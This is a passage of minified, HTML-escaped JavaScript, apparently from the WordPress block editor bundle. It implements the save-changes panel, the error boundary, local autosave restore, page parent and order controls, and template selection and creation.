0:&quot;compact&quot;,onClick:w,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.FlexItem,{isBlock:!T,as:Uo.Button,ref:h,variant:&quot;primary&quot;,size:T?void 0:&quot;compact&quot;,disabled:!S,accessibleWhenDisabled:!0,onClick:()=&gt;g({onSave:s,dirtyEntityRecords:r,entitiesToSkip:d,close:t}),className:&quot;editor-entities-saved-states__save-button&quot;,children:n})]});return(0,L.jsxs)(&quot;div&quot;,{ref:i?k:void 0,...i&amp;&amp;C,className:Di(&quot;entities-saved-states__panel&quot;,{&quot;is-inline&quot;:T}),role:i?&quot;dialog&quot;:void 0,&quot;aria-labelledby&quot;:i?P:void 0,&quot;aria-describedby&quot;:i?j:void 0,children:[!T&amp;&amp;(0,L.jsx)(Uo.Flex,{className:&quot;entities-saved-states__panel-header&quot;,gap:2,children:B}),(0,L.jsxs)(&quot;div&quot;,{className:&quot;entities-saved-states__text-prompt&quot;,children:[(0,L.jsx)(&quot;div&quot;,{className:&quot;entities-saved-states__text-prompt--header-wrapper&quot;,children:(0,L.jsx)(&quot;strong&quot;,{id:i?P:void 0,className:&quot;entities-saved-states__text-prompt--header&quot;,children:(0,fs.__)(&quot;Are you ready to save?&quot;)})}),(0,L.jsxs)(&quot;div&quot;,{id:i?j:void 0,children:[e,(0,L.jsx)(&quot;p&quot;,{className:&quot;entities-saved-states__text-prompt--changes-count&quot;,children:a?(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs._n)(&quot;There is &lt;strong&gt;%d site change&lt;/strong&gt; waiting to be saved.&quot;,&quot;There are &lt;strong&gt;%d site changes&lt;/strong&gt; waiting to be saved.&quot;,r.length),r.length),{strong:(0,L.jsx)(&quot;strong&quot;,{})}):E})]})]}),v.map((e=&gt;(0,L.jsx)(kd,{list:e,unselectedEntities:d,setUnselectedEntities:l},e[0].name))),T&amp;&amp;(0,L.jsx)(Uo.Flex,{direction:&quot;row&quot;,justify:&quot;flex-end&quot;,className:&quot;entities-saved-states__panel-footer&quot;,children:B})]})}function Td(){try{return(0,c.select)(Ac).getEditedPostContent()}catch(e){}}function Bd({text:e,children:t,variant:s=&quot;secondary&quot;}){const o=(0,p.useCopyToClipboard)(e);return(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:s,ref:o,children:t})}class Id extends u.Component{constructor(){super(...arguments),this.state={error:null}}componentDidCatch(e){(0,m.doAction)(&quot;editor.ErrorBoundary.errorLogged&quot;,e)}static getDerivedStateFromError(e){return{error:e}}render(){const{error:e}=this.state,{canCopyContent:t=!1}=this.props;return e?(0,L.jsxs)(Uo.__experimentalHStack,{className:&quot;editor-error-boundary&quot;,alignment:&quot;baseline&quot;,spacing:4,justify:&quot;space-between&quot;,expanded:!1,wrap:!0,children:[(0,L.jsx)(Uo.__experimentalText,{as:&quot;p&quot;,children:(0,fs.__)(&quot;The editor has encountered an unexpected error.&quot;)}),(0,L.jsxs)(Uo.__experimentalHStack,{expanded:!1,children:[t&amp;&amp;(0,L.jsx)(Bd,{text:Td,children:(0,fs.__)(&quot;Copy contents&quot;)}),(0,L.jsx)(Bd,{variant:&quot;primary&quot;,text:e?.stack,children:(0,fs.__)(&quot;Copy error&quot;)})]})]}):this.props.children}}const Nd=Id,Dd=window.requestIdleCallback?window.requestIdleCallback:window.requestAnimationFrame;let Ad;function Rd(){const{postId:e,isEditedPostNew:t,hasRemoteAutosave:s}=(0,c.useSelect)((e=&gt;({postId:e(Ac).getCurrentPostId(),isEditedPostNew:e(Ac).isEditedPostNew(),hasRemoteAutosave:!!e(Ac).getEditorSettings().autosave})),[]),{getEditedPostAttribute:o}=(0,c.useSelect)(Ac),{createWarningNotice:n,removeNotice:i}=(0,c.useDispatch)(_s.store),{editPost:r,resetEditorBlocks:a}=(0,c.useDispatch)(Ac);(0,u.useEffect)((()=&gt;{let l=function(e,t){return window.sessionStorage.getItem(bs(e,t))}(e,t);if(!l)return;try{l=JSON.parse(l)}catch{return}const{post_title:c,content:d,excerpt:u}=l,p={title:c,content:d,excerpt:u};if(!Object.keys(p).some((e=&gt;p[e]!==o(e))))return void ys(e,t);if(s)return;const m=&quot;wpEditorAutosaveRestore&quot;;n((0,fs.__)(&quot;The backup of this post in your browser is different from the version below.&quot;),{id:m,actions:[{label:(0,fs.__)(&quot;Restore the backup&quot;),onClick(){const{content:e,...t}=p;r(t),a((0,y.parse)(p.content)),i(m)}}]})}),[t,e])}const Md=(0,p.ifCondition)((()=&gt;{if(void 0!==Ad)return Ad;try{window.sessionStorage.setItem(&quot;__wpEditorTestSessionStorage&quot;,&quot;&quot;),window.sessionStorage.removeItem(&quot;__wpEditorTestSessionStorage&quot;),Ad=!0}catch{Ad=!1}return Ad}))((function(){const{autosave:e}=(0,c.useDispatch)(Ac),t=(0,u.useCallback)((()=&gt;{Dd((()=&gt;e({local:!0})))}),[]);Rd(),function(){const{postId:e,isEditedPostNew:t,isDirty:s,isAutosaving:o,didError:n}=(0,c.useSelect)((e=&gt;({postId:e(Ac).getCurrentPostId(),isEditedPostNew:e(Ac).isEditedPostNew(),isDirty:e(Ac).isEditedPostDirty(),isAutosaving:e(Ac).isAutosavingPost(),didError:e(Ac).didPostSaveRequestFail()})),[]),i=(0,u.useRef)(s),r=(0,u.useRef)(o);(0,u.useEffect)((()=&gt;{!n&amp;&amp;(r.current&amp;&amp;!o||i.current&amp;&amp;!s)&amp;&amp;ys(e,t),i.current=s,r.current=o}),[s,o,n]);const a=(0,p.usePrevious)(t),l=(0,p.usePrevious)(e);(0,u.useEffect)((()=&gt;{l===e&amp;&amp;a&amp;&amp;!t&amp;&amp;ys(e,!0)}),[t,e])}();const s=(0,c.useSelect)((e=&gt;e(Ac).getEditorSettings().localAutosaveInterval),[]);return(0,L.jsx)(Wc,{interval:s,autosave:t})}));const Ld=function({children:e}){const t=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(Ac),{getPostType:s}=e(d.store),o=s(t(&quot;type&quot;));return!!o?.supports?.[&quot;page-attributes&quot;]}),[]);return t?e:null};const Od=function({children:e,supportKeys:t}){const s=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(Ac),{getPostType:s}=e(d.store);return s(t(&quot;type&quot;))}),[]);let o=!!s;return s&amp;&amp;(o=(Array.isArray(t)?t:[t]).some((e=&gt;!!s.supports[e]))),o?e:null};function Fd(){const e=(0,c.useSelect)((e=&gt;{var t;return null!==(t=e(Ac).getEditedPostAttribute(&quot;menu_order&quot;))&amp;&amp;void 0!==t?t:0}),[]),{editPost:t}=(0,c.useDispatch)(Ac),[s,o]=(0,u.useState)(null),n=null!=s?s:e;return(0,L.jsx)(Uo.Flex,{children:(0,L.jsx)(Uo.FlexBlock,{children:(0,L.jsx)(Uo.__experimentalNumberControl,{__next40pxDefaultSize:!0,label:(0,fs.__)(&quot;Order&quot;),help:(0,fs.__)(&quot;Set the page order.&quot;),value:n,onChange:e=&gt;{o(e);const s=Number(e);Number.isInteger(s)&amp;&amp;&quot;&quot;!==e.trim?.()&amp;&amp;t({menu_order:s})},hideLabelFromVision:!0,onBlur:()=&gt;{o(null)}})})})}function Vd(){return(0,L.jsx)(Od,{supportKeys:&quot;page-attributes&quot;,children:(0,L.jsx)(Fd,{})})}const zd=(0,u.forwardRef)((({className:e,label:t,children:s},o)=&gt;(0,L.jsxs)(Uo.__experimentalHStack,{className:Di(&quot;editor-post-panel__row&quot;,e),ref:o,children:[t&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-panel__row-label&quot;,children:t}),(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-panel__row-control&quot;,children:s})]})));function Ud(e){const t=e.map((e=&gt;({children:[],parent:void 0,...e})));if(t.some((({parent:e})=&gt;void 0===e)))return t;const s=t.reduce(((e,t)=&gt;{const{parent:s}=t;return e[s]||(e[s]=[]),e[s].push(t),e}),{}),o=e=&gt;e.map((e=&gt;{const t=s[e.id];return{...e,children:t&amp;&amp;t.length?o(t):[]}}));return o(s[0]||[])}const Hd=e=&gt;(0,Lo.decodeEntities)(e),Gd=e=&gt;({...e,name:Hd(e.name)}),$d=e=&gt;(null!=e?e:[]).map(Gd);function Wd(e){return e?.title?.rendered?(0,Lo.decodeEntities)(e.title.rendered):`#${e.id} (${(0,fs.__)(&quot;no title&quot;)})`}const Zd=(e,t)=&gt;{const s=sr()(e||&quot;&quot;).toLowerCase(),o=sr()(t||&quot;&quot;).toLowerCase();return s===o?0:s.startsWith(o)?s.length:1/0};function Yd(){const{editPost:e}=(0,c.useDispatch)(Ac),[t,s]=(0,u.useState)(!1),{isHierarchical:o,parentPostId:n,parentPostTitle:i,pageItems:r,isLoading:a}=(0,c.useSelect)((e=&gt;{var s;const{getPostType:o,getEntityRecords:n,getEntityRecord:i,isResolving:r}=e(d.store),{getCurrentPostId:a,getEditedPostAttribute:l}=e(Ac),c=l(&quot;type&quot;),u=l(&quot;parent&quot;),p=o(c),m=a(),h=null!==(s=p?.hierarchical)&amp;&amp;void 0!==s&amp;&amp;s,g={per_page:100,exclude:m,parent_exclude:m,orderby:&quot;menu_order&quot;,order:&quot;asc&quot;,_fields:&quot;id,title,parent&quot;};t&amp;&amp;(g.search=t);const _=u?i(&quot;postType&quot;,c,u):null;return{isHierarchical:h,parentPostId:u,parentPostTitle:_?Wd(_):&quot;&quot;,pageItems:h?n(&quot;postType&quot;,c,g):null,isLoading:!!h&amp;&amp;r(&quot;getEntityRecords&quot;,[&quot;postType&quot;,c,g])}}),[t]),l=(0,u.useMemo)((()=&gt;{const e=(s,o=0)=&gt;{const n=s.map((t=&gt;[{value:t.id,label:&quot;— &quot;.repeat(o)+(0,Lo.decodeEntities)(t.name),rawName:t.name},...e(t.children||[],o+1)])).sort((([e],[s])=&gt;Zd(e.rawName,t)&gt;=Zd(s.rawName,t)?1:-1));return n.flat()};if(!r)return[];let s=r.map((e=&gt;({id:e.id,parent:e.parent,name:Wd(e)})));t||(s=Ud(s));const o=e(s),a=o.find((e=&gt;e.value===n));return i&amp;&amp;!a&amp;&amp;o.unshift({value:n,label:i}),o}),[r,t,i,n]);if(!o)return null;return(0,L.jsx)(Uo.ComboboxControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,className:&quot;editor-page-attributes__parent&quot;,label:(0,fs.__)(&quot;Parent&quot;),help:(0,fs.__)(&quot;Choose a parent page.&quot;),value:n,options:l,onFilterValueChange:(0,p.debounce)((e=&gt;{s(e)}),300),onChange:t=&gt;{e({parent:t})},hideLabelFromVision:!0,isLoading:a})}function Kd({isOpen:e,onClick:t}){const s=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(Ac),s=t(&quot;parent&quot;);if(!s)return null;const{getEntityRecord:o}=e(d.store);return o(&quot;postType&quot;,t(&quot;type&quot;),s)}),[]),o=(0,u.useMemo)((()=&gt;s?Wd(s):(0,fs.__)(&quot;None&quot;)),[s]);return(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,className:&quot;editor-post-parent__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change parent: %s&quot;),o),onClick:t,children:o})}function qd(){const e=(0,c.useSelect)((e=&gt;e(d.store).getEntityRecord(&quot;root&quot;,&quot;__unstableBase&quot;)?.home),[]),[t,s]=(0,u.useState)(null),o=(0,u.useMemo)((()=&gt;({anchor:t,placement:&quot;left-start&quot;,offset:36,shift:!0})),[t]);return(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Parent&quot;),ref:s,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:o,className:&quot;editor-post-parent__panel-dropdown&quot;,contentClassName:&quot;editor-post-parent__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,L.jsx)(Kd,{isOpen:e,onClick:t}),renderContent:({onClose:t})=&gt;(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-parent&quot;,children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Parent&quot;),onClose:t}),(0,L.jsxs)(&quot;div&quot;,{children:[(0,u.createInterpolateElement)((0,fs.sprintf)((0,fs.__)(&#039;Child pages inherit characteristics from their parent, such as URL structure. For instance, if &quot;Pricing&quot; is a child of &quot;Services&quot;, its URL would be %s&lt;wbr /&gt;/services&lt;wbr /&gt;/pricing.&#039;),(0,v.filterURLForDisplay)(e).replace(/([/.])/g,&quot;&lt;wbr /&gt;$1&quot;)),{wbr:(0,L.jsx)(&quot;wbr&quot;,{})}),(0,L.jsx)(&quot;p&quot;,{children:(0,u.createInterpolateElement)((0,fs.__)(&quot;They also show up as sub-items in the default navigation menu. &lt;a&gt;Learn more.&lt;/a&gt;&quot;),{a:(0,L.jsx)(Uo.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#page-attributes&quot;)})})})]}),(0,L.jsx)(Yd,{})]})})})}const Qd=Yd,Xd=&quot;page-attributes&quot;;function Jd(){const{isEnabled:e,postType:t}=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t,isEditorPanelEnabled:s}=e(Ac),{getPostType:o}=e(d.store);return{isEnabled:s(Xd),postType:o(t(&quot;type&quot;))}}),[]);return e&amp;&amp;t?(0,L.jsx)(qd,{}):null}function eu(){return(0,L.jsx)(Ld,{children:(0,L.jsx)(Jd,{})})}const tu=(0,L.jsx)(M.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18.5 5.5V8H20V5.5H22.5V4H20V1.5H18.5V4H16V5.5H18.5ZM13.9624 4H6C4.89543 4 4 4.89543 4 6V18C4 19.1046 4.89543 20 6 20H18C19.1046 20 20 19.1046 20 18V10.0391H18.5V18C18.5 18.2761 18.2761 18.5 18 18.5H10L10 10.4917L16.4589 10.5139L16.4641 9.01389L5.5 8.97618V6C5.5 5.72386 5.72386 5.5 6 5.5H13.9624V4ZM5.5 10.4762V18C5.5 18.2761 5.72386 18.5 6 18.5H8.5L8.5 10.4865L5.5 10.4762Z&quot;})}),su=(0,fs.__)(&quot;Custom Template&quot;);function ou({onClose:e}){const{defaultBlockTemplate:t,onNavigateToEntityRecord:s}=(0,c.useSelect)((e=&gt;{const{getEditorSettings:t,getCurrentTemplateId:s}=e(Ac);return{defaultBlockTemplate:t().defaultBlockTemplate,onNavigateToEntityRecord:t().onNavigateToEntityRecord,getTemplateId:s}})),{createTemplate:o}=$((0,c.useDispatch)(Ac)),[n,i]=(0,u.useState)(&quot;&quot;),[r,a]=(0,u.useState)(!1),l=()=&gt;{i(&quot;&quot;),e()};return(0,L.jsx)(Uo.Modal,{title:(0,fs.__)(&quot;Create custom template&quot;),onRequestClose:l,focusOnMount:&quot;firstContentElement&quot;,size:&quot;small&quot;,children:(0,L.jsx)(&quot;form&quot;,{className:&quot;editor-post-template__create-form&quot;,onSubmit:async e=&gt;{if(e.preventDefault(),r)return;a(!0);const i=null!=t?t:(0,y.serialize)([(0,y.createBlock)(&quot;core/group&quot;,{tagName:&quot;header&quot;,layout:{inherit:!0}},[(0,y.createBlock)(&quot;core/site-title&quot;),(0,y.createBlock)(&quot;core/site-tagline&quot;)]),(0,y.createBlock)(&quot;core/separator&quot;),(0,y.createBlock)(&quot;core/group&quot;,{tagName:&quot;main&quot;},[(0,y.createBlock)(&quot;core/group&quot;,{layout:{inherit:!0}},[(0,y.createBlock)(&quot;core/post-title&quot;)]),(0,y.createBlock)(&quot;core/post-content&quot;,{layout:{inherit:!0}})])]),c=await o({slug:(0,v.cleanForSlug)(n||su),content:i,title:n||su});a(!1),s({postId:c.id,postType:&quot;wp_template&quot;}),l()},children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;3&quot;,children:[(0,L.jsx)(Uo.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Name&quot;),value:n,onChange:i,placeholder:su,disabled:r,help:(0,fs.__)(&#039;Describe the template, e.g. &quot;Post with sidebar&quot;. A custom template can be manually applied to any post or page.&#039;)}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:l,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,isBusy:r,&quot;aria-disabled&quot;:r,children:(0,fs.__)(&quot;Create&quot;)})]})]})})})}function nu(){return(0,c.useSelect)((e=&gt;{const{getCurrentPostId:t,getCurrentPostType:s}=e(Ac);return{postId:t(),postType:s()}}),[])}function iu(){const{postType:e,postId:t}=nu();return(0,c.useSelect)((s=&gt;{const{canUser:o,getEntityRecord:n,getEntityRecords:i}=s(d.store),r=o(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?n(&quot;root&quot;,&quot;site&quot;):void 0,a=i(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1}),l=+t===r?.page_for_posts,c=&quot;page&quot;===e&amp;&amp;+t===r?.page_on_front&amp;&amp;a?.some((({slug:e})=&gt;&quot;front-page&quot;===e));return!l&amp;&amp;!c}),[t,e])}function ru(e){return(0,c.useSelect)((t=&gt;t(d.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template&quot;,{per_page:-1,post_type:e})),[e])}function au(e){const t=lu(),s=iu(),o=ru(e);return(0,u.useMemo)((()=&gt;s&amp;&amp;o?.filter((e=&gt;e.is_custom&amp;&amp;e.slug!==t&amp;&amp;!!e.content.raw))),[o,t,s])}function lu(){const{postType:e,postId:t}=nu(),s=ru(e),o=(0,c.useSelect)((s=&gt;{const o=s(d.store).getEditedEntityRecord(&quot;postType&quot;,e,t);return o?.template}),[e,t]);if(o)return s?.find((e=&gt;e.slug===o))?.slug}function cu({isOpen:e,onClick:t}){const s=(0,c.useSelect)((e=&gt;{const t=e(Ac).getEditedPostAttribute(&quot;template&quot;),{supportsTemplateMode:s,availableTemplates:o}=e(Ac).getEditorSettings();if(!s&amp;&amp;o[t])return o[t];const n=e(d.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})&amp;&amp;e(Ac).getCurrentTemplateId();return n?.title||n?.slug||o?.[t]}),[]);return(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.__)(&quot;Template options&quot;),onClick:t,children:null!=s?s:(0,fs.__)(&quot;Default template&quot;)})}function du({onClose:e}){var t,s;const o=iu(),{availableTemplates:n,fetchedTemplates:i,selectedTemplateSlug:r,canCreate:a,canEdit:l,currentTemplateId:p,onNavigateToEntityRecord:m,getEditorSettings:g}=(0,c.useSelect)((e=&gt;{const{canUser:t,getEntityRecords:s}=e(d.store),n=e(Ac).getEditorSettings(),i=t(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}),r=e(Ac).getCurrentTemplateId();return{availableTemplates:n.availableTemplates,fetchedTemplates:i?s(&quot;postType&quot;,&quot;wp_template&quot;,{post_type:e(Ac).getCurrentPostType(),per_page:-1}):void 0,selectedTemplateSlug:e(Ac).getEditedPostAttribute(&quot;template&quot;),canCreate:o&amp;&amp;i&amp;&amp;n.supportsTemplateMode,canEdit:o&amp;&amp;i&amp;&amp;n.supportsTemplateMode&amp;&amp;!!r,currentTemplateId:r,onNavigateToEntityRecord:n.onNavigateToEntityRecord,getEditorSettings:e(Ac).getEditorSettings}}),[o]),_=(0,u.useMemo)((()=&gt;Object.entries({...n,...Object.fromEntries((null!=i?i:[]).map((({slug:e,title:t})=&gt;[e,t.rendered])))}).map((([e,t])=&gt;({value:e,label:t})))),[n,i]),f=null!==(t=_.find((e=&gt;e.value===r)))&amp;&amp;void 0!==t?t:_.find((e=&gt;!e.value)),{editPost:b}=(0,c.useDispatch)(Ac),{createSuccessNotice:y}=(0,c.useDispatch)(_s.store),[x,v]=(0,u.useState)(!1);return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-template__classic-theme-dropdown&quot;,children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Template&quot;),help:(0,fs.__)(&quot;Templates define the way content is displayed when viewing your site.&quot;),actions:a?[{icon:tu,label:(0,fs.__)(&quot;Add template&quot;),onClick:()=&gt;v(!0)}]:[],onClose:e}),o?(0,L.jsx)(Uo.SelectControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,hideLabelFromVision:!0,label:(0,fs.__)(&quot;Template&quot;),value:null!==(s=f?.value)&amp;&amp;void 0!==s?s:&quot;&quot;,options:_,onChange:e=&gt;b({template:e||&quot;&quot;})}):(0,L.jsx)(Uo.Notice,{status:&quot;warning&quot;,isDismissible:!1,children:(0,fs.__)(&quot;The posts page template cannot be changed.&quot;)}),l&amp;&amp;m&amp;&amp;(0,L.jsx)(&quot;p&quot;,{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;{m({postId:p,postType:&quot;wp_template&quot;}),e(),y((0,fs.__)(&quot;Editing template. Changes made here affect all posts and pages that use the template.&quot;),{type:&quot;snackbar&quot;,actions:[{label:(0,fs.__)(&quot;Go back&quot;),onClick:()=&gt;g().onNavigateToPreviousEntityRecord()}]})},children:(0,fs.__)(&quot;Edit template&quot;)})}),x&amp;&amp;(0,L.jsx)(ou,{onClose:()=&gt;v(!1)})]})}const uu=function(){const[e,t]=(0,u.useState)(null),s=(0,u.useMemo)((()=&gt;({anchor:e,className:&quot;editor-post-template__dropdown&quot;,placement:&quot;left-start&quot;,offset:36,shift:!0})),[e]);return(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Template&quot;),ref:t,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:s,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,L.jsx)(cu,{isOpen:e,onClick:t}),renderContent:({onClose:e})=&gt;(0,L.jsx)(du,{onClose:e})})})},{PreferenceBaseOption:pu}=(window.wp.warning,$(k.privateApis));function mu(e){const{toggleEditorPanelEnabled:t}=(0,c.useDispatch)(Ac),{isChecked:s,isRemoved:o}=(0,c.useSelect)((t=&gt;{const{isEditorPanelEnabled:s,isEditorPanelRemoved:o}=t(Ac);return{isChecked:s(e.panelName),isRemoved:o(e.panelName)}}),[e.panelName]);return o?null:(0,L.jsx)(pu,{isChecked:s,onChange:()=&gt;t(e.panelName),...e})}const{Fill:hu,Slot:gu}=(0,Uo.createSlotFill)(&quot;EnablePluginDocumentSettingPanelOption&quot;),_u=({label:e,panelName:t})=&gt;(0,L.jsx)(hu,{children:(0,L.jsx)(mu,{label:e,panelName:t})});_u.Slot=gu;const fu=_u,{Fill:bu,Slot:yu}=(0,Uo.createSlotFill)(&quot;PluginDocumentSettingPanel&quot;),xu=({name:e,className:t,title:s,icon:o,children:n})=&gt;{const{name:i}=(0,wa.usePluginContext)(),r=`${i}/${e}`,{opened:a,isEnabled:l}=(0,c.useSelect)((e=&gt;{const{isEditorPanelOpened:t,isEditorPanelEnabled:s}=e(Ac);return{opened:t(r),isEnabled:s(r)}}),[r]),{toggleEditorPanelOpened:d}=(0,c.useDispatch)(Ac);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(fu,{label:s,panelName:r}),(0,L.jsx)(bu,{children:l&amp;&amp;(0,L.jsx)(Uo.PanelBody,{className:t,title:s,icon:o,opened:a,onToggle:()=&gt;d(r),children:n})})]})};xu.Slot=yu;const vu=xu,Su=({allowedBlocks:e,icon:t,label:s,onClick:o,small:n,role:i})=&gt;(0,L.jsx)(h.BlockSettingsMenuControls,{children:({selectedBlocks:r,onClose:a})=&gt;((e,t)=&gt;{return!Array.isArray(t)||(s=t,0===e.filter((e=&gt;!s.includes(e))).length);var s})(r,e)?(0,L.jsx)(Uo.MenuItem,{onClick:(0,p.compose)(o,a),icon:t,label:n?s:void 0,role:i,children:!n&amp;&amp;s}):null});function wu(e){var t;const s=(0,wa.usePluginContext)();return(0,L.jsx)(Za,{name:&quot;core/plugin-more-menu&quot;,as:null!==(t=e.as)&amp;&amp;void 0!==t?t:Uo.MenuItem,icon:e.icon||s.icon,...e})}const{Fill:ku,Slot:Cu}=(0,Uo.createSlotFill)(&quot;PluginPostPublishPanel&quot;),Pu=({children:e,className:t,title:s,initialOpen:o=!1,icon:n})=&gt;{const{icon:i}=(0,wa.usePluginContext)();return(0,L.jsx)(ku,{children:(0,L.jsx)(Uo.PanelBody,{className:t,initialOpen:o||!s,title:s,icon:null!=n?n:i,children:e})})};Pu.Slot=Cu;const ju=Pu,{Fill:Eu,Slot:Tu}=(0,Uo.createSlotFill)(&quot;PluginPostStatusInfo&quot;),Bu=({children:e,className:t})=&gt;(0,L.jsx)(Eu,{children:(0,L.jsx)(Uo.PanelRow,{className:t,children:e})});Bu.Slot=Tu;const Iu=Bu,{Fill:Nu,Slot:Du}=(0,Uo.createSlotFill)(&quot;PluginPrePublishPanel&quot;),Au=({children:e,className:t,title:s,initialOpen:o=!1,icon:n})=&gt;{const{icon:i}=(0,wa.usePluginContext)();return(0,L.jsx)(Nu,{children:(0,L.jsx)(Uo.PanelBody,{className:t,initialOpen:o||!s,title:s,icon:null!=n?n:i,children:e})})};Au.Slot=Du;const Ru=Au;function Mu(e){var t;const s=(0,wa.usePluginContext)();return(0,L.jsx)(Za,{name:&quot;core/plugin-preview-menu&quot;,as:null!==(t=e.as)&amp;&amp;void 0!==t?t:Uo.MenuItem,icon:e.icon||s.icon,...e})}function Lu({className:e,...t}){return(0,L.jsx)(tl,{panelClassName:e,className:&quot;editor-sidebar&quot;,scope:&quot;core&quot;,...t})}function Ou(e){return(0,L.jsx)(Ka,{__unstableExplicitMenuItem:!0,scope:&quot;core&quot;,...e})}function Fu({onClick:e}){const[t,s]=(0,u.useState)(!1),{postType:o,postId:n}=nu(),i=au(o),{editEntityRecord:r}=(0,c.useDispatch)(d.store);if(!i?.length)return null;return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;s(!0),children:(0,fs.__)(&quot;Change template&quot;)}),t&amp;&amp;(0,L.jsx)(Uo.Modal,{title:(0,fs.__)(&quot;Choose a template&quot;),onRequestClose:()=&gt;s(!1),overlayClassName:&quot;editor-post-template__swap-template-modal&quot;,isFullScreen:!0,children:(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-template__swap-template-modal-content&quot;,children:(0,L.jsx)(Vu,{postType:o,onSelect:async t=&gt;{r(&quot;postType&quot;,o,n,{template:t.name},{undoIgnore:!0}),s(!1),e()}})})})]})}function Vu({postType:e,onSelect:t}){const s=au(e),o=(0,u.useMemo)((()=&gt;s.map((e=&gt;({name:e.slug,blocks:(0,y.parse)(e.content.raw),title:(0,Lo.decodeEntities)(e.title.rendered),id:e.id})))),[s]);return(0,L.jsx)(h.__experimentalBlockPatternsList,{label:(0,fs.__)(&quot;Templates&quot;),blockPatterns:o,onClickPattern:t})}function zu({onClick:e}){const t=lu(),s=iu(),{postType:o,postId:n}=nu(),{editEntityRecord:i}=(0,c.useDispatch)(d.store);return t&amp;&amp;s?(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;{i(&quot;postType&quot;,o,n,{template:&quot;&quot;},{undoIgnore:!0}),e()},children:(0,fs.__)(&quot;Use default template&quot;)}):null}function Uu({onClick:e}){const{canCreateTemplates:t}=(0,c.useSelect)((e=&gt;{const{canUser:t}=e(d.store);return{canCreateTemplates:t(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})}}),[]),[s,o]=(0,u.useState)(!1),n=iu();return t&amp;&amp;n?(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;{o(!0)},children:(0,fs.__)(&quot;Create new template&quot;)}),s&amp;&amp;(0,L.jsx)(ou,{onClose:()=&gt;{o(!1),e()}})]}):null}function Hu({id:e}){const{isTemplateHidden:t,onNavigateToEntityRecord:s,getEditorSettings:o,hasGoBack:n}=(0,c.useSelect)((e=&gt;{const{getRenderingMode:t,getEditorSettings:s}=$(e(Ac)),o=s();return{isTemplateHidden:&quot;post-only&quot;===t(),onNavigateToEntityRecord:o.onNavigateToEntityRecord,getEditorSettings:s,hasGoBack:o.hasOwnProperty(&quot;onNavigateToPreviousEntityRecord&quot;)}}),[]),{get:i}=(0,c.useSelect)(k.store),{editedRecord:r,hasResolved:a}=(0,d.useEntityRecord)(&quot;postType&quot;,&quot;wp_template&quot;,e),{createSuccessNotice:l}=(0,c.useDispatch)(_s.store),{setRenderingMode:p,setDefaultRenderingMode:m}=$((0,c.useDispatch)(Ac)),h=(0,c.useSelect)((e=&gt;!!e(d.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;})),[]),[g,_]=(0,u.useState)(null),f=(0,u.useMemo)((()=&gt;({anchor:g,className:&quot;editor-post-template__dropdown&quot;,placement:&quot;left-start&quot;,offset:36,shift:!0})),[g]);if(!a)return null;const b=n?[{label:(0,fs.__)(&quot;Go back&quot;),onClick:()=&gt;o().onNavigateToPreviousEntityRecord()}]:void 